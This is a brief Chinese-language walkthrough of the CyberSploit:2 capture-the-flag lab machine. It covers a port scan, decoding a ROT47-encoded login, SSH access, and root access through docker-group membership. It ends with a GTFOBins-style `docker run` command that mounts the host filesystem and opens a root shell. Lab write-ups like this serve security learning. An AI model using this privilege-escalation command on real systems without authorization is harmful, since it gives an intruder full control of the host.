vulhub-CyberSploit:2

端口扫描

22，80

OT47编码的

解码

ssh登入该用户

cat hint.txt
docker

有 docker 作为提示

id看一下用户组

[shailendra@localhost ~]$ id

uid=1001(shailendra) gid=1001(shailendra) groups=1001(shailendra),991(docker) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

查看

GTFO Bins

成功提权

docker run -v /:/mnt --rm -it alpine chroot /mnt sh